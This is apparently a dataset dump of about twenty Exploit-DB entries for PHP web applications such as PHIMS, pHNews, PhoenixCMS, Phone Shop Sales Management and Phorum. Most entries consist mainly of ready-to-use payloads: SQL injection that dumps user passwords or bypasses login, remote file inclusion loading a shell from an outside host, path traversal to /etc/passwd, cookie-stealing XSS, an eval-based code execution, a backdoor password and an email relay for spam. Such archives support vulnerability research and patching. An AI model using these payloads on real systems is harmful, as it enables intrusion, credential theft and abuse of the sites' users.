deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44138
Description: PHIMS - Hospital Management Information System - 'Password' SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: L0RD

Exploit:
# Exploit Title:  PHIMS - Hospital Management Information System - 'Password' SQL Injection
# Dork: N/A
# Date: 2018-02-16
# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
# Vendor Homepage: https://codecanyon.net/item/phims/14974225?s_rank=1566
# Version: All version
# Category: Webapps
# CVE: N/A
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands.
# # # # #
# Proof of Concept :

SQLI :


# Parameter : Password (POST)
#    Type: Error based
#    Title:  MariaDB >= 10.2.11 AND Error based - extractvalue (XPATH query)
#    Payload : 1" and extractvalue(1,concat(0x3a,user(),0x3a,version()))#
#######################################
# Discrption : The 'password' field is vulnerable in this script
('Password' parameter).First inject payload into this parameter.
# then put anything in username (like:anything@anything.anything) and click
login. You will have XPATH syntax
error in the next page that contains user and db_name .
# You can find all tables and any information from database by using XPATH
query .


Username : anything@anything.anything
Password : 1" and extractvalue(1,concat(0x3a,user(),0x3a,version()))#
Exploit-DB #24086
Description: phlyLabs phlyMail Lite 4.03.04 - 'go' Open Redirect
Type: webapps
Platform: php
Date: 2013-01-13
Author: LiquidWorm

Exploit:
phlyLabs phlyMail Lite 4.03.04 (go param) Open Redirect Vulnerability


Vendor: phlyLabs
Product web page: http://www.phlymail.com
Affected version: Lite 4.03.04

Summary: phlyMail offers you an interface in the browser to have access
to your emails, contacts, appointments, tasks, files and bookmakrs from
anyhwere, where you have internet access. This can be your home, workplace,
train station, abroad, offroad, in the woods or your own backyard.

Desc: Input passed via the 'go' parameter in 'derefer.php' script is not
properly verified before being used to redirect users. This can be exploited
to redirect a user to an arbitrary website e.g. when a user clicks a specially
crafted link to the affected script hosted on a trusted domain.


-----------------------------------------------------------------------
/frontend/derefer.php:
----------------------

33: if (!isset($_REQUEST['go'])) exit;
34: $go = preg_replace('!\r|\n|\t!', '', $_REQUEST['go']);
35: if (strlen($go) == 0) exit;
36: if (!preg_match('!^(http://|https://|ftp://)!', $go) && $go{0} != '/') $go = 'http://'.$go;
37:
38: header('Location: '.$go);
39: exit;

-----------------------------------------------------------------------


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5123
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5123.php


13.01.2013

--

http://localhost/frontend/derefer.php?go=zeroscience.mk
Exploit-DB #2236
Description: PHlyMail Lite 3.4.4 - 'folderprops.php' Remote File Inclusion (2)
Type: webapps
Platform: php
Date: 2006-08-21
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
PHlyMail Lite <= 3.4.4 (Build 3.04.04) [_PM_[path][handler]] Remote File Include Vulnerability [2]
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : PHlyMail Lite
version : v. 3.4.4 (Build 3.04.04)
URL : http://phlymail.de/

------------------------------------------------------------------
Exploit:
~~~~~~~

Variable $_PM_[path][handler] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.


# http://www.site.com/[path]/handlers/email/folderprops.php?_PM_[path][handler]=[Evil_Script]

---------------------------------------------------------------------------

Solution :
~~~~~~~~~

declare variabel $_PM_[path][handler]
---------------------------------------------------------------------------


Shoutz:
~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
_/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-08-21]
Exploit-DB #30333
Description: PHMe 0.0.2 - 'Function_List.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-07-23
Author: You_You

Exploit:
source: https://www.securityfocus.com/bid/25011/info

PHMe is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

PHMe 0.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/resources/function_list.php?action=[Local Script]%00
Exploit-DB #8073
Description: pHNews Alpha 1 - 'genbackup.php' Database Disclosure
Type: webapps
Platform: php
Date: 2009-02-17
Author: x0r

Exploit:
#########################################################################################
[0x01] Informations:

Name           : pHNews Alpha 1
Download       : http://www.hotscripts.com/listings/jump/download/50111/
Vulnerability  : Db Discloure
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian 
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/extra/genbackup.php

#########################################################################################
[0x03] Exploit:

Exploit: http://victim.org/extra/genbackup.php
########################################################################################

# milw0rm.com [2009-02-17]
Exploit-DB #8072
Description: pHNews Alpha 1 - 'mod' SQL Injection
Type: webapps
Platform: php
Date: 2009-02-17
Author: x0r

Exploit:
#########################################################################################
[0x01] Informations:

Name           : pHNews Alpha 1
Download       : http://www.hotscripts.com/listings/jump/download/50111/
Vulnerability  : Sql Injection
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian 
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/header.php 

[Code]
$mod = $_GET["mod"];
// If no mod is selected select the default (news)
if ($mod == "") { $mod = "news"; }
if ($mod != "nomod") {

// Subit the query... god soooo mmmuuuccchhh coooodeee
$query = "SELECT * FROM Modules WHERE name = '{$mod}'";
$result = mysql_query($query) or die('Query failed: ' . mysql_error());
[/code]


#########################################################################################
[0x03] Exploit:

Exploit: http://victim.org/header.php?mod=' union select
0,0,0,concat(id,char(45),UName,char(45),Paswd),0,0 from Users--
########################################################################################

# milw0rm.com [2009-02-17]
Exploit-DB #6000
Description: pHNews CMS Alpha 1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-03
Author: CraCkEr

Exploit:
???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                          [ Local File Include ]                          ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : pHNews CMS Alpha 1     ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????


http://localhost/path/modules/comments.php?templates_dir=[LFI]


http://localhost/path/modules/comments.php?template=[LFI]



??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-07-03]
Exploit-DB #2148
Description: phNNTP 1.3 - 'article-raw.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-08
Author: Drago84

Exploit:
phNNTP v1.3 Remote File Inclusion

CreW: ToxiC

Bug Found By Drago84

Source Code:
http://freshmeat.net/redir/phnntp/16290/url_tgz/phNNTP-v1.3.tar.gz

Problem Is:
require("$file_newsportal");

Page Affect:
article-raw.php

Path:
Declare file_newsportal

ExP:
http://server/Dir_phNNTP/article-raw.php?file_newsportal=http://www.evalsite.com/shell.php?

Greatz: Str0ke

# milw0rm.com [2006-08-08]
Exploit-DB #28693
Description: Phoenix Evolution CMS - '/modules/pageedit/index.php?pageid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-26
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/20212/info
 
Phoenix Evolution CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/[path]/modules/pageedit/index.php?pageid=http://www.example.com
Exploit-DB #28692
Description: Phoenix Evolution CMS - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-26
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/20212/info

Phoenix Evolution CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/index.php?mod=http://www.example.com
http://www.example.com/[path]/index.php?action=http://www.example.com
Exploit-DB #40047
Description: Phoenix Exploit Kit - Remote Code Execution
Type: webapps
Platform: php
Date: 2016-07-01
Author: CrashBandicot

Exploit:
# Exploit Title: Phoenix Exploit Kit - Remote Code Execution
# Exploit Author: CrashBandicot @DosPerl
# Date: 2016-06-30
# Tested on: MSWin32
 
# Vuln file : geoip.php
 
492.  isset($_GET['bdr']) ? eval($_GET['bdr']) : explode('nop','nop nop nop');
 
# PoC : http://localhost/Phoenix/includes/geoip.php?bdr=phpinfo();

# Screen : http://i.imgur.com/E7RBBRk.png

__END__
Exploit-DB #35619
Description: PhoenixCMS 1.7 - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2011-04-15
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47389/info

PhoenixCMS is prone to a local file-include vulnerability and an SQL-injection vulnerability.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute arbitrary local files within the context of the webserver process.

The attacker can exploit the SQL-injection vulnerability to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PhoenixCMS 1.7.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/modules.php?name=Work_Probe&file=../../WS_FTP.LOG%00
http://www.example.com/[path]/modules.php?name=News&file=../../WS_FTP.LOG%00
http://www.example.com/modules.php?name=Surveys&op=results&pollID=3+and+1=2+union+select+1,version(),3,4,5--
Exploit-DB #37499
Description: Phonalisa - Multiple HTML Injection / Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-07-12
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/54401/info

Phonalisa is prone to multiple HTML-injection, cross-site-scripting, and arbitrary code-execution vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Attackers can exploit these issues to execute arbitrary code in the context of the web server, compromise the affected application, or steal cookie-based authentication credentials from legitimate users of the site. Other attacks are also possible.

Phonalisa 5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/?s=monitorqueues&sudo=su%22%3E%3Ciframe%20src=a%20onload=alert%28document.cookie%29%20%3C [XSS]

http://www.example.com/?s=monitorqueues&sudo=su%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C [XSS]

http://www.example.com/?s=home&m=home&sudo=%22%3E%3Cimg%20src=http://www.vuln-lab.com/images/200911/11/i8du12ievi9fh1a9rm-owned-headonfire.jpg%20onload=alert%28123%29;%20/%3E&setlang=en-us [XSS]

http://www.example.com/?s=home&m=home&sudo=%22%3E%3Cimg%20src=http://www.vuln-lab.com/images/200911/11/i8du12ievi9fh1a9rm-owned-headonfire.jpg%20/%3E&setlang=en-us [XSS]

http://www.example.com/?s=provphones&m=phones&sudo=su&mac=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL
%22%29%20%3C&ip=127.0.0.1&pbx_id=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C&phone_type=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C [XSS]

http://www.example.com/&mac=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C&sudo=suÂ§ion=%2Fprov%2Fcisco [XSS]
Exploit-DB #50105
Description: Phone Shop Sales Managements System 1.0 - Authentication Bypass (SQLi)
Type: webapps
Platform: php
Date: 2021-07-06
Author: faisalfs10x

Exploit:
# Exploit Title: Phone Shop Sales Managements System 1.0 - Authentication Bypass (SQLi)
# Date: 2021-07-06
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/10882/phone-shop-sales-managements-system.html
# Version: 1.0
# Tested on: Windows 10, XAMPP


###########
# PoC     #
###########

Request:
========

POST /osms/Execute/ExLogin.php HTTP/1.1
Host: localhost
Content-Length: 43
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/osms/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Username=or+1%3D1%2F*&Password=or+1%3D1%2F*


Payload:
=========

Username=or 1=1/*
Password=or 1=1/*
Exploit-DB #50050
Description: Phone Shop Sales Managements System 1.0 - Insecure Direct Object Reference (IDOR)
Type: webapps
Platform: php
Date: 2021-06-22
Author: Pratik Khalane

Exploit:
# Exploit Title: Phone Shop Sales Managements System 1.0 - Insecure Direct Object Reference (IDOR)
# Date: 21/06/2021
# Exploit Author: Pratik Khalane
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/10882/phone-shop-sales-managements-system.html
# Version: 1.0
# Tested on: Windows 10 Pro


Vulnerability Details
======================

Steps :


1) Log in to the application with the given credentials

Username: kwizera
Password: 12345

2) Navigate to Invoice and Click on Print Invoice.

3)In /Invoice.php?id=3005, modify the id Parameter to View User details,
Address,
Payments, Phone number, and Email of other Users
Exploit-DB #32844
Description: PHORTAIL 1.2.1 - 'poster.php' Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2009-03-09
Author: Jonathan Salwan

Exploit:
source: https://www.securityfocus.com/bid/34038/info

PHORTAIL is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

PHORTAIL 1.2.1 is vulnerable; other versions may also be affected.

<html><head><title>PHORTAIL v1.2.1 XSS Vulnerability</title></head> <hr><pre> Module : PHORTAIL 1.2.1 download : http://www.phpscripts-fr.net/scripts/download.php?id=330 Vul : XSS Vulnerability file : poster.php Author : Jonathan Salwan Mail : submit [AT] shell-storm.org Web : http://www.shell-storm.org </pre><hr> <form name="rapporter" action="http://www.example.com/poster.php" method="POST"></br> <input type="hidden" name="ajn" value="1"> <input type="text" name="pseudo" value="xss">=>Pseudo</br> <input type="text" name="email" value="xss@xss.com">=>E-mail</br> <input type="text" name="ti" value="<script>alert('xss PoC');</script>">=>XSS vulnerability</br> <input type="text" name="txt" value="xss">=>text</br> <input type="submit" value="Start"></br> </form> </html>
Exploit-DB #20586
Description: Phorum 3.0.7 - 'admin.php3' Unverified Administrative Password Change
Type: webapps
Platform: php
Date: 2000-01-06
Author: Max Vision

Exploit:
source: https://www.securityfocus.com/bid/2271/info

Phorum is a popular, free, open source software package originally written by Brian Moon. The package is designed to add chat/bulletin board style interaction between visitors of a web site.

A problem with Phorum can allow remote users access to restricted files on the local system. This is due to the handling of passwords by the program. By sending a custom crafted string to the admin.php3 script, it's possible to change the administrative password of the board without verification of the users credentials. The "default .langname name" field in the Master settings can then be changed to any file of the users liking, which upon reload, will be output as the page. This problem makes it possible for a user with malicious motives to take control of the message board, read any file on the system, and potentially gain remote access. 

First, send the following URL to Phorum, which changes the password to flow:

http://www.example.com/admin.php3?step=4&option=pass&confirm=flow&newPssword=flow

Next, after gaining administrative access to the system, enter the "Master Settings" menu, and set the "default .langfile name" to the following:

../../../../../../../../../../../etc/passwd

This will make the contents of the /etc/passwd file viewable.
Exploit-DB #20588
Description: Phorum 3.0.7 - 'auth.php3' Backdoor Access
Type: webapps
Platform: php
Date: 2000-01-06
Author: Max Vision

Exploit:
source: https://www.securityfocus.com/bid/2274/info

Phorum is a freely available, open source, popular WWW Board written by Brian Moon. It is designed to enhance the services offered on a web page, allow users to interact with one another through bulletin board chat and discussion.

A problem with the package allows users access to any resources within the bulletin board system. Any file that is access controlled by the auth.php3 script may be accessed, due to a backdoor password written into the script auth.php3. The password "boogieman" will permit users to access files controlled by auth.php3 by simply appending the variable PHP_AUTH_USER=boogieman to the URL. This makes it possible for users with malicious intentions to access any file under the access control of auth.php3, and potentially gain elevated privileges, including access to the local system. 

This vulnerability can be exploited by appending the PHP_USER_AUTH variable to the URL with the password "boogieman" as the value.

http://some.host.com/admin.php3

This file would not be accessible by the unauthenticated user. However,

http://some.host.com/admin.php3?PHP_AUTH_USER=boogieman

will permit access to this file.
Exploit-DB #20587
Description: Phorum 3.0.7 - 'violation.php3' Arbitrary Email Relay
Type: webapps
Platform: php
Date: 2000-01-01
Author: Max Vision

Exploit:
source: https://www.securityfocus.com/bid/2272/info

Phorum is a freely available, open source package originally written by Brian Moon. The package is designed to add enhanced features to a web page, allowing users to interact through bulletin board style chats forums and discussions.

A problem with the Phorum package could allow remote users to arbitrarily relay email. Due to the way violation.php3 handles URL's as arguments, it is possible to create a custom crafted URL request to the script which will allow a remote user to send email through the hosts MTA. This email will then be delivered to the specified person with the appearance of coming from the web host. This problem makes it possible for a user with malicious intentions to socially engineer, mailbomb, or spam from the web host, and potentially get the host blacklisted in one of such lists. 

This vulnerability may be exploited requesting a URL of:

http://some.host.com/violation.php3?Mod=address@to.spam&ForumName=text_to_spam

Where address@to.spam is the destination of the mail, and text_to_spam is the text to appear in the body of the mail.